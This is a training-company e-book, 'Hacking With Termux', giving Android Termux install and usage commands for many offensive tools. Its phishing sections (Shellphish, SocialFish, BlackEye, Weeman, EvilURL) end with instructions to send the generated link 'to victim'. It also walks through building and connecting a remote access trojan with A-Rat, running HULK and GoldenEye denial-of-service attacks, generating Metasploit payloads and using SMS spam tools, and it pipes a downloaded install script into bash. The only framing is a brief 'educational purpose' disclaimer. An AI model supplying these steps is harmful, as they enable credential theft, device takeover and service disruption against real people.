

Hacking

With

Termux

Everything is Hackable
You just need to Exploit

Ver. 1.0

HAKIMI INFOSEC

www.hakimiinfosec.com



TM

HAKIMI
INFOSEC

About

Hakimi InfoSec is an institution which provides latest Computer Courses for the upcoming tech-savvy generation. We have been working since 10 years. We are delivering technology based services and trainings to students and professionals. We are specialized in IT programming, Ethical Hacking, Cyber security, Website security, Web designing and development, Digital Marketing, Accountancy and more. We provide students the best of our knowledge which helps them to add value in their bright future. We believe in quality, client and Students satisfaction more than anything else. As we all know nowadays computer education is necessary for all and we are providing it in a manner that our trainees get the best in all educational field.'

Termux:-

Termux provide linux like environment in your android smartphone in which you can execute the different scripts or tools of python, bash, ruby, etc. You can use basic and simple tools of kali in your android and 10% tools need root access other works well without any root. So after you mastering termux with our E-book then you can go for advance hacking with kali. So excited let's get started.

\$ pwd – Present directory

\$ ls – Show files in directory

\$ apt – package manager

\$ pkg – Other Packages

\$ apt install name – Install the package from apt list

\$ pkg install name – Install other packages form apt list

\$ clear - Clear interface

\$ h - Help

\$ exit – Quit

\$ In - Information

\$ chmod +x * - Execute permission all file in directory

\$ rm – Delete file

\$ rm -rf - Delete directory

Ctrl + c - Close

Ctrl + z – Force to close

Now you read to use Termux and keep the following point in mind which prevent you from facing errors in when using scripts and tools.

- Small and capital words matters so type carefully for example :- Pkg and pkg
- If you don't know the extension of script then you can use ./scriptname to execute that script
- You need storage permissions to move files from Termux to internal storage and internal storage to Termux.

- Don't give two blank spaces in when using commands
- If you accidentally moved file to unknown path which is actually not present in termux then your file will be deleted automatically.
- Always turn on your device hotspot on when working with ngrok server.

That's all ! Keep this basics things in your mind if you don't want to face problems.

PHISHING TOOLS

Shellphish:-

Phishing Tool for 18 social media: Instagram, Facebook, Snapchat, Github, Twitter, Yahoo, Protonmail, Spotify, Netflix, Linkedin, Wordpress, Origin, Steam, Microsoft, InstaFollowers, Gitlab, Pinterest

Installation :

```
$ apt update && apt upgrade
```

```
$ apt install git
```

```
$ git clone https://github.com/thelinuxchoice/shellphish
```

```
$ cd shellphish
```

```
$ bash shellphish.sh
```

Now enter the no. of social network which phishing url you want and then enter 2 for go with ngrok but make sure turn on your device hotspot otherwise url not generated. Now send url to victim.

SocialFish:-

It is a ultimate phishing tool for generate phishing link such as Twitter, Google, Facebook, Wordpress etc.

Installation:-

```
$ apt update && upgrade
```

```
$ apt install git
```

```
$ apt install python2
```

```
$ git clone https://github.com/UndeadSec/SocialFish.git
```

Usage :-

```
$ python2 SocialFish.py
```

Now select the number which you want generate

the phishing url type 01 and press enter and type 3333 and press enter now send the url to victim.

BlackEye

The most complete Phishing Tool with 32 templates 1+ customizable option.

Installation :

```
$ apt update && apt upgrade
```

```
$ apt install git
```

```
$ apt install curl
```

```
$ git clone https://github.com/thelinuxchoice/blackeye
```

```
$ cd blackeye
```

```
$ chmod +x *Run :
```

```
$ bash blackeye.sh
```

Now send this url to victim

Weeman

Weeman provides you https server for phishing

installation :

```
$ apt update
```

```
$ apt upgrade
```

```
$ apt install git
```

```
$ apt install python2
```

```
$ git clone https://github.com/evait-security/weeman
```

```
$ cd weeman
```

```
$ chmod +x *
```

```
usage :
```

```
$ python2 weeman.py
```

```
$ set url http://target.com
```

```
$ set action_url http://target.com
```

```
$ run
```

It will generate phishing url and it to victim

INFORMATION GATHERING

This tools are used for get information about target as much as possible because if you want hack target than first you have to knowledge about that.

RED_HAWK

All in one tool for Information Gathering and Vulnerability Scanning

Scans That You Can Perform Using RED HAWK :

Basic Scan Whois Lookup

Geo-IP Lookup

Grab Banners

DNS Lookup

Subnet Calculator

Nmap Port Scan

Sub-Domain Scanner Reverse IP Lookup & CMS Detection

Error Based SQLi Scanner

Bloggers View

WordPress Scan

Crawler

MX Lookup

Scan For Everything

Installation :

```
$ apt update && apt upgrade
```

```
$ apt install git
```

```
$ apt install php
```

```
$ git clone https://github.com/Tuhinshubhra/RED_HAWK
```

```
$ cd RED_HAWK
```

```
$ chmod +x *usage :
```

```
$ php rhawk.php
```

Use the "help" command to see the command list type in the domain name you want to scan (without Http:// OR Https://). Select whether The Site Runs On HTTPS or not. Select the type of scan you want to perform leave the rest to the scanner.

D-TECT

D-TECT is an All-In-One Tool for Penetration Testing. This is specially programmed for Penetration Testers and Security Researchers to make their job easier, instead of launching different tools for performing different task. D-TECT provides multiple features and detection features which gather target information and finds different flaws in it.

Features:

- Sub-domain Scanning
- Port Scanning
- Wordpress Scanning
- Wordpress Username Enumeration
- Wordpress Backup Grabbing

Sensitive File Detection

- Same-Site Scripting Scanning
- Click Jacking Detection
- Powerful XSS vulnerability scanning
- SQL Injection vulnerability scanning
- User-Friendly UI

Installation :

```
$ apt update && apt upgrade
```

```
$ apt install git
```

```
$ apt install python2
```

```
$ git clone https://github.com
```

```
/shawarkhanethicalhacker/D-TECT
```

```
$ cd D-TECT
```

```
$ chmod +x *
```

```
$ pip2 install requests
```

usage :

```
$ python2 d-tect.py
```

Now select your options to use that particular tool. Termux Lazy-Script. This tool is specially Designed for Termux Beginner users. This tool is very helpful for Beginners. Here simply type number of tool to use after usage press enter to launch again Termux-Lazyscript.

Installation :

```
$ apt update && apt upgrade
```

```
$ apt install git
```

```
$ apt install python2
```

```
$ git clone https://github.com/TechnicalMujeeb/Termux-Lazyscript.git
```

```
$ cd Termux-Lazyscript
```

```
$ chmod +x *
```

```
$ sh setup.sh
```

usage :

```
python2 ls.py
```

now here simply type number to use that tool enjoy. Evilurl used to generate an unicode domain url for phishing. For idn homograph attack install Evil-URL

Installation :

```
$ apt update
```

```
$ apt upgrade
```

```
$ apt install git
```

```
$ apt install python2
```

```
$ git clone https://github.com/UndeadSec/EvilURL.git
```

```
$ cd EvilURL
```

```
$ chmod +x *
```

```
$ ls
```

```
$ python3 evilurl.py
```

Select option 1 to generate type domain name like site.com it will generate Unicode url for phishing if you want to detect any url if that one is phishing url then run this tool.

```
$ python3 evilurl.pyselect option 2
```

here paste that url it detects if that url is unicode or for phishing. That's it.

Lazy Mux

Lazymux is python based tool in this tool and collection of tools for termux users. You guys can install some tools by typing number in easiest way this tool is specially for lazy peoples.

Installation :

```
$ apt update
```

```
$ apt upgrade
```

```
$ apt install git
```

```
$ apt install python2
```

```
$ git clone https://github.com/Gameye98/Lazymux
```

```
$ cd Lazymux
```

```
$ chmod +X *
```

usage :

```
$ python2 lazymux.py
```

Now simply type the number of tool to install that particular tool in termux.

Tool-X

Tool-x is a tool for Termux users we can install some kali linux tools with this tool follow these steps to install this tool in Termux

Installation :

```
$ apt update
```

```
$ apt upgrade
```

```
$ apt install git
```

```
$ git clone https://github.com/Rajkumrdusad/Tool-X
```

```
$ cd Tool-X
```

```
$ chmod +x *
```

```
$ sh install.aex
```

usage :

To run this tool type

```
$ Tool-X
```

Now select or type number to install any tool.

```
IPGeoLocation Trace -Ip
```

Geolocation Information :

1.ASN

2.City

3.Country

4.Country Code

5.ISP

6. Latitude

7.Longtitude

8.Organization

9.Region Code

10.Region Name

11. Timezone12.Zip Code

Installation :

```
$ apt update && apt upgrade
```

```
$ apt install git
```

```
$ apt install python
```

```
$ git clone https://github.com/maldevel
```

```
/IPGeoLocation
```

```
$ cd IPGeoLocation
```

```
$ chmod +x *
```

```
$ pip install -r requirements.txt
```

Usage :

```
$ python ipgeolocation.py -t [target ip]
```

it gives you all information related to your target.

Email-Info

Infoga is a tool gathering email accounts informations

(ip,hostname,country,...) from different public source

(search engines, pgp key servers and shodan) and check if emails were leaked using hacked-emails

API. Is a really simple tool, but very effective for the early stages of a penetration test or just to know the visibility of your company in the Internet.

Installation :

```
$ apt update && apt upgrade
```

```
$ apt install git
```

```
$ apt install python2
```

```
$ git clone https://github.com/m4ll0k/Infoga
```

```
$ cd Infoga
```

```
$ chmod +x *
```

```
$ pip2 install requests
```

usage :

```
$ python2 infoga.py
```

Now it shows all options to use this tool

```
$ python2 infoga.py -t gmail.com -s all
```

Now it's started collecting emails and e-mail information

[hostname, city, organization, longitude and latitude

ports.

TheChoice

TheChoice is a collection of 14 hacker tools from

@thelinuxchoice

Installation :

```
$ apt update && apt upgrade
```

```
$ apt install git
```

```
$ git clone https://github.com/thelinuxchoice/thechoice
```

```
$ cd thechoice
```

```
$ chmod +x *
```

usage :

```
$ ./thechoice
```

Now select your option and use it.

VULNERABILITIES ANALYSIS

This tool is used to analyze or find out any vulnerability or security holes in a system or website.

OWScan

Scan your website for vulnerabilities. Find website application vulnerabilities and fingerprint the target web application.

Installation :

```
$ apt update && apt upgrade
```

```
$ apt install git
```

```
$ apt install php
```

```
$ git clone https://github.com/Gameye98/OWScan
```

```
$ cd OWScan
```

```
$ chmod +x *
```

usage :

```
$ php owscan.php
```

Enter target site for example : example.com .it gives you information related to your target site.

CMS Map

cms map is a tool used to find the vulnerabilities of websites such as joomla,dripal,wordpress with the help of this tool we can scan our site vulnerabilities and fix it,and stay safe and secure. Execute these commands one by one to install.

Installation :

```
$ apt update
```

```
$ apt upgrade
```

```
$ apt install git
```

```
$ apt install python2
```

```
$ git clone https://github.com/Dionach/CMSmap.git
```

```
$ cd CMSmap
```

```
$ chmod +x *
```

usage :

```
$ python2 cmsmap.py -h
```

[it shows all options how we can use this tool]

Click - Jacking Scanner This script scans target site is vulnerable for this attack

Installation :

```
$ apt update && apt upgrade
```

```
$ apt install git
```

```
$ apt install python2
```

```
$ apt install python
```

```
$ git clone https://github.com/D4Vinci/Clickjacking-Tester
```

```
$ cd Clickjacking-Tester
```

```
$ chmod +x *
```

Now create here file.txt file, in this file paste victim website and save it

usage :

```
$ python3 Clickjacking-Tester.py file.txt
```

Now it starts scanning if target is vulnerable then it shows you.TM-Scanner

TM-scanner is simple python script.This tool for detecting vulnerabilities in websites

Installation :

```
$ apt update && apt upgrade
```

```
$ apt install git
```

```
$ apt install python2
```

```
$ apt install python
```

```
$ git clone https://github.com/TechnicalMujeeb/TM-scanner
```

```
$ cd TM-scanner
```

```
$ chmod +x *
```

```
$ sh install.sh
```

usage :

```
$ python2 tmscanner.py
```

select your option and enter target site [example.com]

AndroBug Androbug framework is used to check the android apps vulnerabilities to find bugs in android

application. Execute these commands one by one to install.

Installation :

```
$ apt update
```

```
$ apt upgrade
```

```
$ apt install git
```

```
$ apt install python2
```

```
$ git clone https://github.com/AndroBugs/AndroBugs  
_Framework
```

```
$ cd AndroBugs_Framework
```

```
$ chmod +x *
```

usage :

Now move your app to AndroBugs_Framework folder

for example :

```
mv app.apk /$HOME/AndroBugs_Framework/$ python2 androbugs.py -f  
app.apk -o result.txt
```

above command is used to check app bugs..

app.apk = is your app name

result.txt = to store all information

It shows all bugs and vulnerabilities of your app that's
it.

SQLScan

Sqlscan by dork :

Installation :

```
$ apt update && apt upgrade
```

```
$ apt install git
```

```
$ apt install curl
```

```
$ git clone https://github.com/thelinuxchoice/sqlscan
```

```
$ cd sqlscan
```

```
$ chmod +x *
```

```
usage :$ ./sqlscan.sh
```

Now enter your dorks it will start collecting all vulnerable sites related to your dork and also these sites saved in saved.txt file.

Commix

Automated All-in-One OS command injection and exploitation tool can be used from web developers, penetration testers or even security researchers in order to test web-based applications with the view to find bugs, errors or vulnerabilities related to command injection attacks.

Installation :

```
$ apt update && apt upgrade
```

```
$ apt install git
```

```
$ apt install python2
```

```
$ git clone https://github.com/commixproject
```

```
/commix
```

```
$ cd commix
```

```
$ chmod +x *
```

```
usage :$ python2 commix.py
```

Now it shows how you can use this too..

```
$ python2 commix.py -h
```

it shows all options...

```
$ python2 commix.py -u site.com
```

it shows all information.

WPSeku Tool

wpseku = wordpress security scanner

we can find vulnerabilities in wordpress sites this is

very usefull tool

installation :

```
$ apt update
```

```
$ apt upgrade
```

```
$ apt install git
```

```
$ apt install python2
```

```
$ apt install python$ git clone https://github.com/m4110k/WPSeku
```

```
$ cd WPSeku
```

```
$ chmod +x *
```

```
$ pip install -r requirements.txt
```

usage :

```
python wpseku.py
```

here all options are present to use this tool

example :

```
$ python wpseku.py --url http:target.com
```

Routersploit Framework

RouterSploit Framework = scan the routers devices and check the vulnerabilities of Routers/Devices and exploits by the using frameworks it consists of many more powerful modules for penetration testing operations

RouterSploit installation:

Execute these commands one by one.

```
$ apt update$ apt upgrade
```

```
$ apt install python
```

```
$ apt install python2
```

```
$ git clone https://github.com/reverse-shell
```

```
/routersploit.git
```

```
$ cd routersploit
```

Now install These all packages step by step :

```
$ pip2 install -r requirments-dev.txt
```

```
$ pip2 install -r requirments.txt
```

```
$ pip2 install request
```

```
$ pip2 install requests
```

Run routersploit:

```
python2 rsf.py
```

```
rsf> show all
```

it's shows all modules of rotersploitrsf> use "module name"

it shows how you can use that module.

EXPLOITATION TOOLS

This tools are used to exploit the vulnerability of security system or website.

Metasploit Framework

If you wish to install the metasploit-framework all by itself. You can use a shell script to install it. Remember don't turn off your internet connection

follow these steps :

1. uninstall termux app
2. Newly install Termux app
3. open Termux app
4. run these commands

```
$ apt update
```

```
$ apt upgrade
```

```
$ apt install wget
```

5. clone metasploit with this command\$ wget
<https://Auxilus.github.io/metasploit.sh>

```
$ bash metasploit.sh
```

This script will install the latest version of metasploit-framework. Script also include some extras to make updating metasploit faster. If all goes well, i.e. No red colored warnings, you can start metasploit using `./msfconsole`. Now take a coffe and sit down and wait 15-20 minutes to install metasploit in termux after installation type this command :

```
$ cd metasploit-framework
```

Now run msfconsole

```
$ ./msfconsole
```

Enjoy metasploit.

Tmvenom

Tmvenom is a python based tool specially designed for Termux users. This payload generates some basic payloads using metasploit-framework. So you must

install metasploit framework on your Termux. This tool works both rooted and non rooted devices. This is very helpful for beginners. This tool also guide you to

generate payloads easily

Requirments:-

Termux App

metasploit-framework

Installation :

```
$ apt update
```

```
$ apt upgrade
```

```
$ apt install git
```

```
$ apt install python2
```

```
$ git clone https://github.com/TechnicalMujeeb
```

```
/tmvenom
```

```
$ cd tmvenom
```

```
$ chmod +x *
```

```
$ sh install.sh
```

```
usage :python2 tmvenom.py
```

Now select payload options and you can easily generates payloads.

A-Rat

A-Rat = Remote access tool we can generate python based rat

installation :

```
$ apt update
```

```
$ apt upgrade
```

```
$ apt install git
```

```
$ apt install python2
```

```
$ apt install python
```

```
$ git clone https://github.com/Xi4u7/A-Rat
```

```
$ cd A-Rat
```

```
$ chmod +x *
```

usage :

```
$ python2 A-Rat.py$ help
```

```
$ set host 127.0.0.1 [your ip]
```

```
$ set port 1337
```

```
$ set output /$HOME/rat.py
```

```
$ generate
```

It generates rat.py in termux home directory

Open termux new session

```
type $ ls
```

here you get that rat.py go to again A-Rat means

previous session of termux

Type run to start exploit.

```
$ run
```

and then open new session and run rat like this

```
$ python rat.py
```

and come back to A-Rat session now its connected to

that rat. means Hacked. Press control + c to stop.HULK

HULK DoS tool ported to Go with some additional

features.

Installation :

```
$ apt update && apt upgrade
```

```
$ apt install git
```

```
$ apt install python2
```

```
$ git clone https://github.com/grafov/hulk
```

```
$ cd hulk
```

```
$ chmod +x *
```

usage :

```
$ python2 hulk.py [url]
```

Golden Eye

GoldenEye is an python app for SECURITY TESTING
PURPOSES ONLY!

GoldenEye is a HTTP DoS Test Tool. Attack Vector
exploited: HTTP Keep Alive + NoCache

Installation :\$ apt update && apt upgrade

```
$ apt install git
```

```
$ apt install python2
```

```
$ git clone https://github.com/jseidl/GoldenEye
```

```
$ cd GoldenEye
```

```
$ chmod +x *
```

Run :

```
$ python2 goldeneye.py [url]
```

Brutal

This is a toolkit to quickly create various
payload, powershell attack, virus attack.and launch
listener for a human interface devices..this is
extreamly useful for executing scripts on a target

machin. For use this tool you must install sudo in your termux means it need rooted devices..

Installation :

```
$ apt update && apt upgrade
```

```
$ apt install git$ git clone https://github.com/Screetsec/Brutal
```

```
$ cd Brutal
```

```
$ chmod +x *
```

Run :

```
$ sudo ./Brutal.sh
```

Now simply select your option which you want.

NOT CATEGORIES

This tools are not categories use it as possible way.

Dark Fly

DarkFly-Tool is an installation tool for installing tools.

This tool makes it easy for you. so you don't need to type git clone or look for the github repository. You only have to choose the number. Which tool you want to install. there are 530 tools ready for intall. And for those of you who like to have fun. There are 7 SMS spam tools that are ready to use, you just need to choose spam to use the target number. There is a tocopedia DLL, and yesterday the DarkFly tool only supports termux. Now it supports Linux OS and can be installed on ubuntu and termux, even though I only combine it. At least I can satisfy and make it easier for all of you :) GoodInstallation :

```
$ apt update && apt upgrade
```

```
$ apt install git
```

```
$ git clone https://github.com/Ranginang67/DarkFly
```

```
-Tool
```

```
$ cd DarkFly-Tool
```

```
$ chmod +x *
```

```
$ sh install
```

Run :

```
$ DarkFly
```

Now select your optoion, it will install your selected tool.

Check Url

Detect evil urls that uses IDN Homograph Attack.

Installation :

```
$ apt update && apt upgrade
```

```
$ apt install git$ apt install python2
```

```
$ apt install python
```

```
$ git clone https://github.com/UndeadSec/checkURL
```

```
$ cd checkURL
```

```
$ chmod +x *
```

usage :

Now run with python3 type this command :

```
$ python3 checkURL.py --help
```

It shows all options..

```
$ python3 checkURL.py --url [attackerurl]
```

attacker url = attacker url tom check this is idn evil url

or original url.

SQL Map

sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.

Installation :

```
$ apt update && apt upgrade
```

```
$ apt install git
```

```
$ apt install python2
```

```
$ apt install python
```

```
$ git clone https://github.com/sqlmapproject/sqlmap
```

```
$ cd sqlmap
```

```
$ chmod +x *
```

Run :

```
$ python2 sqlmap.py -h
```

It shows all options to use this tool sqlmap

```
$ python2 sqlmap.py Knock Mail
```

Verify if email exists or find valid E-mail Installation :

```
$ apt update && apt upgrade
```

```
$ apt install python2
```

```
$ apt install python
```

```
$ pip2 install requests
```

```
$ git clone https://github.com/4w4k3/KnockMail
```

```
$ cd KnockMail
```

```
$ chmod +x *
```

```
$ pip2 install -r requeriments.txt
```

Run :

```
$ python2 knock.py
```

select Your options and give email to check , Your e-mail is valid or Invalid.

Password Generator

It is a tool which generates a custom passwords with

20+ char ,easy to remember and cannot bebruteforced [passwords generated by PassGen have

following features]

.password cannot be brute forced

..it generates strong passwords

...easy to remember

....high entropy

.....padding between the words

.....custome names

.....20+ chracters

Installation :

```
$ apt update && apt upgrade
```

```
$ apt install git
```

```
$ apt install python
```

```
$ git clone https://github.com/TechnicalMujeeb
```

```
/PassGen
```

```
$ PassGen$ chmod +x *
```

usage :

```
$ python passgen.py
```

Now enter name : text

Now its generates passwords. you guys can use these passwords in your accounts also.

SMB

Server message Block is transport protocol and it is widely used for variety purpose such as file sharing , printer sharing ,and access to remote Windows services. SMB operates over TCP ports 139 and 445.in April 2017 shadow brokers hackers released an SMB vulnerability nameed "EternalBlue";

Installation :

```
$ apt update && apt upgrade
```

```
$ apt install git
```

```
$ apt install python2
```

```
$ apt install python
```

```
$ git clone https://github.com/TechnicalMujeeb/smb-scanner
```

```
$ cd smb-scanner
```

```
cd modules
```

```
$ chmod +x *
```

```
$ cd ..
```

```
$ chmod +x *
```

```
$ ./install.sh
```

usage :

```
$ ./smbscan
```

now select you option then it will guide you.

Darksploit

Execute these commands one by one to install

DarlSploit.

```
$ apt update
```

```
$ apt upgrade
```

```
$ apt install git$ apt install python
```

```
$ apt install python2
```

```
$ git clone https://github.com/LOoLzeC/DarkSploit
```

```
$ cd DarkSploit
```

```
$ cd install
```

```
$ sh installtermux.sh
```

```
$ pip2 install -r requirements.txt
```

```
$ cd ..
```

Now Run DarkSploit :

```
python2 DrXp.py
```

DarkSploit commands :

```
$ show options
```

```
$ show exploits
```

```
$ use exploits
```

Here you get all options to use this tool.Cyber Scan

CyberScan is an open source penetration testing tool

that can analyse packets , decoding , scanning ports, pinging and geolocation of an IP including (latitude, longitude , region , country ...)

Installation :

```
$ apt update && apt upgrade
```

```
$ apt install git
```

```
$ apt install python2
```

```
$ apt install python
```

```
$ git clone https://github.com/medbenali/CyberScan
```

```
.git
```

```
$ cd CyberScan
```

usage :

```
$ python2 CyberScan.py -v
```

```
$ CyberScan -h
```

We can perform ping operations with several protocols using CyberScan. The fastest way to discover hosts on a local Ethernet network is to use ARP:\$ python2 CyberScan -s 192.168.1.0/24 -p arp

In case when ICMP echo requests are blocked, we can still use TCP:

```
$ CyberScan -s 192.168.1.105 -p tcp -d 80
```

192.168.1.105 = target IP.

Kali NetHunter

Termux Nethunter for Termux users we can run some linux root tools with this nethunter in Termux.

Installation :

```
$ apt update
```

```
$ apt upgrade
```

```
$ apt install git
```

```
$ git clone https://github.com/Hax4us/Nethunter-In-Termux
```

```
$ cd Nethunter-In-Termux
```

```
$ chmod +x *
```

```
./kalinethunterNow select your architecture
```

Now type this command to start

```
$ startkali
```

Compulsory Steps For First Time Use

So after startkali

execute this command

```
$ apt-key adv --keyserver hkp://keys.gnupg.net  
--recv-keys 7D8D0BF6
```

Now its time to update

```
$ apt-get update
```

Lots of more tools are available if we describe that
than the pdf is not sufficient for that.:p

Disclaimer

This information is only for educational purpose and use on own risk we are not responsible in case of any illegal activity or lose of data.

“The quieter you become, the more you are able to hear...”
— Kali Linux

Email - info@hakimiinfosec.com

Instagram - www.instagram.com/mustafaalotwala

Website - www.hakimiinfosec.com

Hakimi Infosec